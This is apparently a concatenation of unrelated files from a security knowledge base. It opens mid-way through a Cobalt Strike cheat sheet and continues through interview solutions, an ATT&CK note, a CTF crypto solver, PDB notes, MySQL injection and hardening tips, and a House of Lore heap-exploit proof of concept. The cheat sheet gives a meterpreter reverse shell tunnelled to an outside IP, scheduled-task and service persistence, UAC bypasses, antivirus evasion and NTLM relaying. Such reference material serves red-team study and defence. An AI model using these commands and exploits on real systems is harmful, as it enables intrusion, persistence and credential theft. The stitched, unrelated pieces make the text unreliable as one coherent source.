windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin # spunnel_local: Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller # then you can handle the connect back on your MSF multi handler beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin ``` ## Kits * [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike ### Elevate Kit UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018) ```powershell beacon> runasadmin Beacon Command Elevators ======================== Exploit Description ------- ----------- ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113) ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701) ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051) svc-exe Get SYSTEM via an executable run as a service uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup) uac-token-duplication Bypass UAC with Token Duplication ``` ### Persistence Kit * https://github.com/0xthirteen/MoveKit * https://github.com/fireeye/SharPersist ```powershell # List persistences SharPersist -t schtaskbackdoor -m list SharPersist -t startupfolder -m list SharPersist -t schtask -m list # Add a persistence SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add SharPersist -t schtaskbackdoor -n "Something Cool" -m remove SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add SharPersist -t service -n "Some Service" -m remove SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly SharPersist -t schtask -n "Some Task" -m remove ``` ### Resource Kit > The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows ### Artifact Kit > Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder. Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 : - Download the artifact kit : `Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)` - Install the dependencies : `sudo apt-get install mingw-w64` - Edit the Artifact code * Change pipename strings * Change `VirtualAlloc` in `patch.c`/`patch.exe`, e.g: HeapAlloc * Change Import - Build the Artifact - Cobalt Strike -> Script Manager > Load .cna ### Mimikatz Kit * Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 2.2.0.20210724) * Load the mimikatz.cna aggressor script * Use mimikatz functions as normal ### Sleep Mask Kit > The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping. Use the included `build.sh` or `build.bat` script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons. ### Thread Stack Spoofer > An advanced in-memory evasion technique that spoofs Thread Call Stack. This technique allows to bypass thread-based memory examination rules and better hide shellcodes while in-process memory. Thread Stack Spoofer is now enabled by default in the Artifact Kit, it is possible to disable it via the option `artifactkit_stack_spoof` in the config file `arsenal_kit.config`. ## Beacon Object Files > A BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs Example: https://github.com/Cobalt-Strike/bof_template/blob/main/beacon.h * Compile ```ps1 # To compile this with Visual Studio: cl.exe /c /GS- hello.c /Fohello.o # To compile this with x86 MinGW: i686-w64-mingw32-gcc -c hello.c -o hello.o # To compile this with x64 MinGW: x86_64-w64-mingw32-gcc -c hello.c -o hello.o ``` * Execute: `inline-execute /path/to/hello.o` ## NTLM Relaying via Cobalt Strike ```powershell beacon> socks 1080 kali> proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb://<IP_TARGET> beacon> rportfwd_local 8445 <IP_KALI> 445 beacon> upload C:\Tools\PortBender\WinDivert64.sys beacon> PortBender redirect 445 8445 ``` ## References * [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI) * [Red Team Ops with Cobalt Strike (2 of 9): Infrastructure](https://www.youtube.com/watch?v=5gwEMocFkc0) * [Red Team Ops with Cobalt Strike (3 of 9): C2](https://www.youtube.com/watch?v=Z8n9bIPAIao) * [Red Team Ops with Cobalt Strike (4 of 9): Weaponization](https://www.youtube.com/watch?v=H0_CKdwbMRk) * [Red Team Ops with Cobalt Strike (5 of 9): Initial Access](https://www.youtube.com/watch?v=bYt85zm4YT8) * [Red Team Ops with Cobalt Strike (6 of 9): Post Exploitation](https://www.youtube.com/watch?v=Pb6yvcB2aYw) * [Red Team Ops with Cobalt Strike (7 of 9): Privilege Escalation](https://www.youtube.com/watch?v=lzwwVwmG0io) * [Red Team Ops with Cobalt Strike (8 of 9): Lateral Movement](https://www.youtube.com/watch?v=QF_6zFLmLn0) * [Red Team Ops with Cobalt Strike (9 of 9): Pivoting](https://www.youtube.com/watch?v=sP1HgUu7duU&list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no&index=10&t=0s) * [A Deep Dive into Cobalt Strike Malleable C2 - Joe Vest - Sep 5, 2018 ](https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b) * [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/) * [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE – UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/) * [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon) * [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/) * [NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse](https://rastamouse.me/ntlm-relaying-via-cobalt-strike/) * [Cobalt Strike - User Guide](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm) * [Cobalt Strike 4.6 - User Guide PDF](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-6-user-guide.pdf)
sec-knowleage
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Admin Page</title> </head> <body> Congratulations, you are an admin! </body> </html>
sec-knowleage
# 58.2 左旋转字符串 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/12d959b108cb42b1ab72cef4d36af5ec?tpId=13&tqId=11196&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 将字符串 S 从第 K 位置分隔成两个子字符串,并交换这两个子字符串的位置。 ```html Input: S="abcXYZdef" K=3 Output: "XYZdefabc" ``` ## 解题思路 先将 "abc" 和 "XYZdef" 分别翻转,得到 "cbafedZYX",然后再把整个字符串翻转得到 "XYZdefabc"。 ```java public String LeftRotateString(String str, int n) { if (n >= str.length()) return str; char[] chars = str.toCharArray(); reverse(chars, 0, n - 1); reverse(chars, n, chars.length - 1); reverse(chars, 0, chars.length - 1); return new String(chars); } private void reverse(char[] chars, int i, int j) { while (i < j) swap(chars, i++, j--); } private void swap(char[] chars, int i, int j) { char t = chars[i]; chars[i] = chars[j]; chars[j] = t; } ```
sec-knowleage
# T1588-004-获取能力-数字证书 ## 来自ATT&CK的描述 攻击者可能会购买和窃取SSL/TLS证书,以便在攻击目标过程中使用。SSL/TLS证书是为了灌输信任。它们包括关于密钥的信息,关于其所有者身份的信息,以及一个实体的数字签名,该实体已经验证了证书的内容是正确的。如果签名是有效的,并且检查证书的人信任签名者,那么他们就知道可以使用该钥匙与证书所有者进行通信。 攻击者可能会购买或窃取SSL/TLS证书,以推进他们的行动,如加密C2流量(例如:网络协议的非对称加密法),甚至启用中间人,如果证书被信任或以其他方式添加到信任根(即安装根证书)。数字证书的购买可以使用一个幌子组织,或使用从以前被攻破的实体中窃取的信息,使攻击者能够以该实体的身份向证书提供者验证。攻击者也可以直接从被攻击的第三方那里窃取证书材料,包括从证书颁发机构那里。攻击者可以注册或劫持他们以后要购买SSL/TLS证书的域名。 有一些证书颁发机构允许攻击者免费获得SSL/TLS证书,如域名验证证书。 获得数字证书后,攻击者可能会在其控制的基础设施上安装该证书。 ## 测试案例 暂无 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 考虑使用可能有助于跟踪新颁发的证书或互联网上的网站使用的证书的服务。在某些情况下,有可能通过已知的证书信息来发现其他攻击者的基础设施。攻击者工具的一些服务器端组件可能为SSL/TLS证书设置了默认值。 检测工作可能集中在相关行为上,如网络协议、非对称加密或安装根证书。 ## 参考推荐 MITRE-ATT&CK-T1588-004 <https://attack.mitre.org/techniques/T1588/004/>
sec-knowleage
# 46. 把数字翻译成字符串 [Leetcode](https://leetcode.com/problems/decode-ways/description/) ## 题目描述 给定一个数字,按照如下规则翻译成字符串:1 翻译成“a”,2 翻译成“b”... 26 翻译成“z”。一个数字有多种翻译可能,例如 12258 一共有 5 种,分别是 abbeh,lbeh,aveh,abyh,lyh。实现一个函数,用来计算一个数字有多少种不同的翻译方法。 ## 解题思路 ```java public int numDecodings(String s) { if (s == null || s.length() == 0) return 0; int n = s.length(); int[] dp = new int[n + 1]; dp[0] = 1; dp[1] = s.charAt(0) == '0' ? 0 : 1; for (int i = 2; i <= n; i++) { int one = Integer.valueOf(s.substring(i - 1, i)); if (one != 0) dp[i] += dp[i - 1]; if (s.charAt(i - 2) == '0') continue; int two = Integer.valueOf(s.substring(i - 2, i)); if (two <= 26) dp[i] += dp[i - 2]; } return dp[n]; } ```
sec-knowleage
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}" def _l(idx, s): return s[idx:] + s[:idx] def decrypt(ct, k1, k2): s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}" t = [[_l((i + j) % len(s), s) for j in range(len(s))] for i in range(len(s))] i1 = 0 i2 = 0 decrypted = "" for a in ct: for c in s: if t[s.find(c)][s.find(k1[i1])][s.find(k2[i2])] == a: decrypted += c break i1 = (i1 + 1) % len(k1) i2 = (i2 + 1) % len(k2) return decrypted def encrypt(p, k1, k2): t = [[_l((i + j) % len(s), s) for j in range(len(s))] for i in range(len(s))] i1 = 0 i2 = 0 c = "" for a in p: c += t[s.find(a)][s.find(k1[i1])][s.find(k2[i2])] i1 = (i1 + 1) % len(k1) i2 = (i2 + 1) % len(k2) return c def recover_key(known_prefix, ciphertex): final_key = ['*'] * 14 for pos in range(7): for c in s: partial_candidate_key = ['*'] * 14 partial_candidate_key[pos] = c partial_candidate_key[13 - pos] = c key = "".join(partial_candidate_key) res = encrypt(known_prefix, key, key[::-1]) if res[pos] == ciphertex[pos]: final_key[pos] = c final_key[13 - pos] = c print "".join(final_key) return "".join(final_key) def main(): ciphertext = "POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9" key = recover_key("SECCON{", ciphertext) flag = decrypt(ciphertext, key, key[::-1]) print(flag) main()
sec-knowleage
# 对Starlink的测绘 ## 了解网络架构 ## 第三方数据 收集到Starlink的网段号为: ```bash AS14593 - SPACEX-STARLINK - Space Exploration Technologies Corporation, US ``` ## 确定测绘方案 ## 测绘数据展示 ## 有意思的发现
sec-knowleage
# PDB符号文件 --- **什么是 PDB 文件** - PDB(Program Data Base),意即程序的基本数据,是 VS 编译链接时生成的文件。DPB 文件主要存储了 VS 调试程序时所需要的基本信息,主要包括源文件名、变量名、函数名、FPO(帧指针)、对应的行号等等。因为存储的是调试信息,所以一般情况下 PDB 文件是在 Debug 模式下才会生成。 - PDB 文件是在我们编译工程的时候产生的,它是和对应的模块 (exe 或 dll) 一起生成出来的。pdb 文件包含了编译后程序指向源代码的位置信息,用于调试的时候定位到源代码,主要是用来方便调试的。 PDB 文件中记录了源文件路径的相关信息,所以在载入 PDB 文件的时候,就可以将相关调试信息与源码对应。这样可以可视化的实时查看调试时的函数调用、变量值等相关信息。模块当中记录的 PDB 文件是绝对路径。所以只要模块在当前电脑上载入,调试器自然地会根据模块当中的路径信息找到相应 PDB 文件并载入。同样 PDB 文件中记录的源文件路径也是绝对路径,所以 PDB 文件只要在当前电脑上载入,调试进入相应模块时,都能够匹配到记录的源文件,然后可视化地查看相应信息。 **PDB 文件的调用过程** 模块 (Module),EXE 和 DLL 都可以称之为模块,因为它们都有自已独立的 Stack,所以我们在调试程序时,可以在 Call Stack 窗口查看到所有调用的 Module Name。并且可以右键查看相应模块的 ybmol Load Information,即该模块调用的 PDB 文件路径的过程。 每个模块被载入的时候,其相同名字的 PDB 文件同时被载入。所以 Debug 模式下,不仅因为代码没有优化,同时因为要载入 PDB 文件,所以 Debug 模式下的程序执行速度非常慢。 每个模块只会生成一个相同名字的 PDB 文件,并且模块生成的同时,会校验 PDB 文件生成 GUID 记录在模块内。这是因为调试时,调试器强制要求每个模块必须和 PDB 文件保持一致。实验过程中,用之前生成的 PDB 文件替换当前生成的 PDB 文件时,Debug 窗口会显示 No symbols loaded. MSDN 也做了相应的说明:The debugger will load only a PDB for a binary that exactly matches the PDB that was created when the binary was built. **PDB 文件存储格式** PDB 的文件格式类似于磁盘的文件系统,每个磁盘会被划分成很多个大小一样的扇区,文件中的数据就存放在不同的扇区中,而且无需保证这些扇区在磁盘上是连续的。PDB 文件用 page 进行划分,类似于扇区,stream 就类似于文件,stream directory 类似于文件目录。 **PDB 文件的内容** PDB 不是公开的文件格式,但是 Microsoft 提供了 API 来帮助从 PDB 中获取数据。 Native C++ PDB 包含了如下的信息: * public,private 和 static 函数地址; * 全局变量的名字和地址; * 参数和局部变量的名字和在堆栈的偏移量; * class,structure 和数据的类型定义; * Frame Pointer Omission 数据,用来在 x86 上的 native 堆栈的遍历; * 源代码文件的名字和行数; .NET PDB 只包含了 2 部分信息: * 源代码文件名字和行数; * 和局部变量的名字; * 所有的其他的数据都已经包含在了. NET Metadata 中了; **PDB 文件的查找策略** 1. 文件被执行或者被载入的地址 2. 就是硬编码在 PE 文件头中的那个地址。 3. 如果配置了符号服务器,第二步以后应该先去符号服务器的缓存目录下找,如果找不到再去符号服务器上去找。找到的话就会下载到缓存目录。 4. VS 中设置的一些符号查询的目录 5. c:\Windows 文件夹。 **PDB 如何工作** 当你加载一个模块到进程的地址空间的时候,debugger 用 2 种信息来找到相应的 PDB 文件。 - 一种是文件的名字,如果加载 zzz.dll,debugger 则查找 zzz.pdb 文件。 - 在文件名字相同的情况下 debugger 还通过嵌入到 PDB 和 binay 的 GUID 来确保 PDB 和 binay 的真正的匹配。所以即使没有任何的代码修改,昨天的 binay 和今天的 PDB 是不能匹配的。可以使用 dempbin.exe 来查看 binary 的 GUID。 在 VisualStudio 中的 modules 窗口的 symbol file 列可以查看 PDB 的 load 顺序。第一个搜索的路径是 binary 所在的路径,如果不在 binary 所在的路径,则查找 binary 中 hardcode 记录的 build 目录,例如 obj\debug\*.pdb, 如果以上两个路径都没有找到 PDB,则根据 symbol server 的设置,在本地的 symbol server 的 cache 中查找,如果在本地的 symbol server 的 cache 中没有对应的 PDB,则最后才到远程的 symbol server 中查找。通过上面的查找顺序我们可以看出为什么 PDB 查找不会冲突。 对于有时我们需要在别人的机器上 debug 的情况,需要将相应的 PDB 与 binary 一起拷贝,对于加入 GAC 的. NET 的 binary,需要将 PDB 文件拷贝到 C:\Windows\assembly\GAC_MSIL\Example\1.0.0.0__682bc775ff82796a 类似的 binary 所在的目录。另一个变通的方法是定义环境变量 DEVPATH,从而代替使用命令 GACUTIL 将 binary 放入 GAC 中。在定义 DEVPATH 后,只需要将 binary 和 PDB 放到 DEVPATH 的路径,在 DEVPATH 下的 binary 相当于在 GAC 下。使用 DEVPATH,首先需要创建目录且对当前 build 用户有写权限,然后创建环境变量 DEVPATH 且值为刚才创建的目录,然后在 web.config,app.config 或 machine.config 中开启 development 模式,启动对 DEVPATH 的使用 ``` <configuration> <runtime> <developmentMode developerInstallation="true"/> </runtime> </configuration> ``` 在你打开了 development 模式后,如果 DEVPATH 没有定义或路径不存在的话会导致程序启动时异常 "Invalid value for registry"。而且如果在 machine.config 中开启 DEVPATH 的使用会影响其他的所有的程序,所以要慎重使用 machine.config。 最后开发人员需要知道的是源代码信息是如何存储在 PDB 文件中的。 - 对于开发人员自己机器上生成的 build,在运行 source indexing tool 后,版本控制工具将代码存储到你设置的代码 cache 中。 - 对于在公用的 build 机器上生成的 build,只是存储了 PDB 文件的全路径,例如在 c:\foo 下的源文件 mycode.cpp,在 pdb 文件中存储的路径为 c:\foo\mycode.cpp。使用虚拟盘来增加 PDB 对绝对路径的依赖,例如可以使用 subst.exe 将源代码路径挂载为 V:,在别人的机器上 debug 的时候也挂载 V:。 **如何查看二进制文件和 PDB 的 GUID** - 使用 VS 自带的 DUMPBIN 工具可以查看二进制文件所期望的 PDB 的 GUID。基本用法就是 DUMPBIN /HEADER 文件,详情可参考 https://docs.microsoft.com/en-us/cpp/build/reference/dumpbin-reference?view=msvc-160 - https://www.codeproject.com/Articles/37456/How-To-Inspect-the-Content-of-a-Program-Database-P --- **Source & Reference** - [Specify symbol (.pdb) and source files in the Visual Studio debugger (C#, C++, Visual Basic, F#)](https://docs.microsoft.com/en-us/visualstudio/debugger/specify-symbol-dot-pdb-and-source-files-in-the-visual-studio-debugger?view=vs-2019) - [PDB Symbol Files](https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/pdb-symbol-files) - [PDB文件:每个开发人员都必须知道的](https://www.cnblogs.com/itech/archive/2011/08/15/2136522.html) - [PDB文件详解](https://blog.csdn.net/feihe0755/article/details/54233714) - [什么是PDB文件?](https://cloud.tencent.com/developer/ask/30007)
sec-knowleage
# MySQL --- **常用语句** ```sql select group_concat(table_name) from information_schema.tables where table_schema=database() ``` 查看 xxx 的字段 ```sql select group_concat(column_name) from information_schema.columns where table_name='xxx' ``` 读取字段的内容 ```sql select flag from fl4g ``` --- ## MySQL 系统库表 **information_schema** MySQL自带的系统数据库,当中大部分是我们需要了结的信息,比如字符集,权限相关,数据库实体对象信息,外检约束,分区,压缩表,表信息,索引信息,参数,优化,锁和事物等等。所以可以利用这个数据库来进行注入。 ```sql --存储mysql数据库下面的所有表名信息的表 information_schema.tables --数据库名 : table_schema --表名 : Table_name -- 存储mysql数据库下面的所有列名信息的表 information_schema.columns -- 表名 : table_name ``` --- ## MySQL 函数 ### 常见系统函数和变量 - version() -- MySQL版本 - user() -- 数据库用户名 - database() -- 数据库名 - @@datadir -- 数据库路径 - @@basedir -- 安装路径 - @@version_compile_os -- 操作系统版本 --- ### 常见连接函数 在 select 数据时,我们往往需要将数据进行连接后进行回显。很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数。 **concat(str1,str2,...)** 没有分隔符地连接字符串 **concat_ws(separator,str1,str2,...)** 含有分隔符地连接字符串 **group_concat(str1,str2,...)** 连接一个组的所有字符串,并以逗号分隔每一条数据 https://www.cnblogs.com/lcamry/p/5715634.html --- ### 截取字符串常用函数 **mid()** 此函数为截取字符串一部分。 ```sql MID(column_name,start[,length]) -- column_name : 必需。要提取字符的字段。 -- start : 必需。规定开始位置(起始值是 1)。 -- length : 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。 ``` 例如 : str="123456" mid(str,2,1) 结果为2 **substr()** Substr() 和 substring() 函数实现的功能是一样的,均为截取字符串。 ```sql string substring(string, start, length) string substr(string, start, length) -- 参数描述同 mid() 函数,第一个参数为要处理的字符串,start 为开始位置,length 为截取的长度。 ``` **Left()** 得到字符串左部指定个数的字符 ```sql Left ( string, n ) -- string 为要截取的字符串,n 为长度。 ``` **ord()** 返回第一个字符的 ASCII 码 例如 : ORD(MID(DATABASE(),1,1))>114 意为检测 database() 的第一位 ASCII 码是否大于 114,也就是 'r' --- ### 字符串编码 **ASCII()** 返回字符的 ASCII 码值 ```sql select ASCII('hello') ``` **CHAR()** 把整数转换为对应的字符 ```sql SELECT CHAR(77,121,83,81,'76'); ``` **Hex()** 返回十六进制值的字符串表示 ```sql SELECT HEX('mysql'); ``` **Unhex()** 执行HEX(str)的逆运算 ```sql SELECT UNHEX('4D7953514C'); ``` --- ### 导入导出函数 **load_file()** load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\ 读取文件并返回该文件的内容作为一个字符串。 例如 : select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) --- ## 安全加固 ### 禁止远程访问 ```sql select user,host from user; ``` 更新 root 账户,开启远程访问,配置如下: ```sql use mysql; update user set host = "%" where user = "root"; flush privileges; ``` 更新root账户,关闭远程访问,配置如下: ```sql use mysql; update user set host = "localhost" where user = "root" and host= "%"; flush privileges; ``` ### 禁止匿名账户登陆 检测是否存在匿名账户 ```sql select * from user where user=''; ``` 如有空记录存在,说明存在匿名用户,为了保证数据库安全,删除语法为: ```sql delete from user where user=''; ``` 修改匿名用户 ```sql SET PASSWORD FOR ''@'localhost' = PASSWORD('newpwd'); ``` ### 最大连接数限制 MySQL 数据库经常会遇到这么一个问题,就是 “Can not connect to MySQL server. Too many connections”。这是由于访问 MySQL 且还未释放的连接数目已经达到 MySQL 的上限。通常,MySQL 的最大连接数默认是 100, 最大可以达到 16384。 查看最大连接数 ```sql show variables like 'max_connections'; ``` 修改最大连接数 ```sql set GLOBAL max_connections = 500; ``` 查看所有用户的当前连接数 ```sql show processlist; ``` ### 限制本地文件读取 MySQL 提供对本地文件的读取,使用的是 load data local infile 命令,MySQL5.0 以上的版本选项是默认打开的,该操作令会利用 MySQL 把本地文件读到数据库中,然后用户就可以非法获取敏感信息了,一般没有特殊的需要不要开启读取本地文件的选项。 配置Linux 下/etc/my.cnf文件 ``` local-infile=0 ``` 或启动数据库时,加上 --local-infile=0&参数 ``` /usr/local/mysql/bin/mysqld_safe --local-infile=0 & ``` --- ## Source & Reference - [Sql注入截取字符串常用函数](https://www.cnblogs.com/lcamry/p/5504374.html)
sec-knowleage
### House of Lore概述 House of Lore 攻击与 Glibc 堆管理中的 Small Bin 的机制紧密相关。 House of Lore 可以实现分配任意指定位置的 chunk,从而修改任意地址的内存。 House of Lore 利用的前提是需要控制 Small Bin Chunk 的 bk 指针,并且控制指定位置 chunk 的 fd 指针。 ### House of Lore基本原理 如果在 malloc 的时候,申请的内存块在 small bin 范围内,那么执行的流程如下 ```c /* If a small request, check regular bin. Since these "smallbins" hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit. But for small ones, fits are exact anyway, so we can check now, which is faster.) */ if (in_smallbin_range(nb)) { // 获取 small bin 的索引 idx = smallbin_index(nb); // 获取对应 small bin 中的 chunk 指针 bin = bin_at(av, idx); // 先执行 victim= last(bin),获取 small bin 的最后一个 chunk // 如果 victim = bin ,那说明该 bin 为空。 // 如果不相等,那么会有两种情况 if ((victim = last(bin)) != bin) { // 第一种情况,small bin 还没有初始化。 if (victim == 0) /* initialization check */ // 执行初始化,将 fast bins 中的 chunk 进行合并 malloc_consolidate(av); // 第二种情况,small bin 中存在空闲的 chunk else { // 获取 small bin 中倒数第二个 chunk 。 bck = victim->bk; // 检查 bck->fd 是不是 victim,防止伪造 if (__glibc_unlikely(bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } // 设置 victim 对应的 inuse 位 set_inuse_bit_at_offset(victim, nb); // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来 bin->bk = bck; bck->fd = bin; // 如果不是 main_arena,设置对应的标志 if (av != &main_arena) set_non_main_arena(victim); // 细致的检查 check_malloced_chunk(av, victim, nb); // 将申请到的 chunk 转化为对应的 mem 状态 void *p = chunk2mem(victim); // 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff alloc_perturb(p, bytes); return p; } } } ``` 从下面的这部分我们可以看出 ```c // 获取 small bin 中倒数第二个 chunk 。 bck = victim->bk; // 检查 bck->fd 是不是 victim,防止伪造 if (__glibc_unlikely(bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } // 设置 victim 对应的 inuse 位 set_inuse_bit_at_offset(victim, nb); // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来 bin->bk = bck; bck->fd = bin; ``` 如果我们可以修改 small bin 的最后一个 chunk 的 bk 为我们指定内存地址的fake chunk,并且同时满足之后的 bck->fd != victim 的检测,那么我们就可以使得 small bin 的 bk 恰好为我们构造的 fake chunk。也就是说,当下一次申请 small bin 的时候,我们就会分配到指定位置的 fake chunk。 ### House of Lore示例代码 ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> void jackpot(){ puts("Nice jump d00d"); exit(0); } int main(int argc, char * argv[]){ intptr_t* stack_buffer_1[4] = {0}; intptr_t* stack_buffer_2[3] = {0}; fprintf(stderr, "\nWelcome to the House of Lore\n"); fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n"); fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n"); fprintf(stderr, "Allocating the victim chunk\n"); intptr_t *victim = malloc(100); fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim); // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk intptr_t *victim_chunk = victim-2; fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1); fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2); fprintf(stderr, "Create a fake chunk on the stack"); fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted" "in second to the last malloc, which putting stack address on smallbin list\n"); stack_buffer_1[0] = 0; stack_buffer_1[1] = 0; stack_buffer_1[2] = victim_chunk; fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 " "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake " "chunk on stack"); stack_buffer_1[3] = (intptr_t*)stack_buffer_2; stack_buffer_2[2] = (intptr_t*)stack_buffer_1; fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with" "the small one during the free()\n"); void *p5 = malloc(1000); fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5); fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); free((void*)victim); fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n"); fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim); void *p2 = malloc(1200); fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2); fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); //------------VULNERABILITY----------- fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack //------------------------------------ fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n"); fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n"); void *p3 = malloc(100); fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); char *p4 = malloc(100); fprintf(stderr, "p4 = malloc(100)\n"); fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", stack_buffer_2[2]); fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary } ``` 上面代码已经讲得非常清楚了,不再解释。 **但是需要注意的是:** 1. `void *p5 = malloc(1000);` 是为了防止和 victim_chunk 之后和 top_chunk合并。 2. `free((void*)victim)`,victim 会被放入到 unsort bin 中去,然后下一次分配的大小如果比它大,那么将从 top chunk 上分配相应大小,而该 chunk 会被取下link到相应的 bin 中。如果比它小(相等则直接返回),则从该 chunk 上切除相应大小,并返回相应 chunk,剩下的成为 last reminder chunk ,还是存在 unsorted bin 中。
sec-knowleage
